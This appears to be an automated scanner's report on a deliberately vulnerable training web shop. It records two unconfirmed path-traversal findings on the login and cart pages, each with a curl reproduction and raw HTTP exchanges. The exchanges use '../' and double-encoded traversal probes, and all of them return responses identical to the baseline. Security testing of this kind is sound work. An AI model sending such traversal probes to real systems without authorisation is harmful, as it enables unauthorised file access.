GET/sekumart.sekuripy.hr/login.php query string · include unconfirmed · low confidence BV-035 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: include in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

include reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

include looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1'

GET /sekumart.sekuripy.hr/login.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:11 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:11 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=skshdcdnc/.…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:11 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=skshdcdnc/…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=skshdcdnc/%2e%2e/1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:11 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=skshdcdnc/1…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=skshdcdnc/1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:11 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=&download=1…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:11 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · lang unconfirmed · low confidence BV-036 info

location: GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: lang in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

lang reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

lang looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1'

GET /cart.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:30 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:30 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=skst0vio8/../1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:30 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=skst0vio8/%2e%2e/1&view=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=skst0vio8/%2e%2e/1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:30 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=skst0vio8/1&view=1&redirect=…

request

GET /cart.php?data=1&src=1&dir=1&lang=skst0vio8/1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:30 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=&view=1&redirect=1&returnTo=…

request

GET /cart.php?data=1&src=1&dir=1&lang=&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' 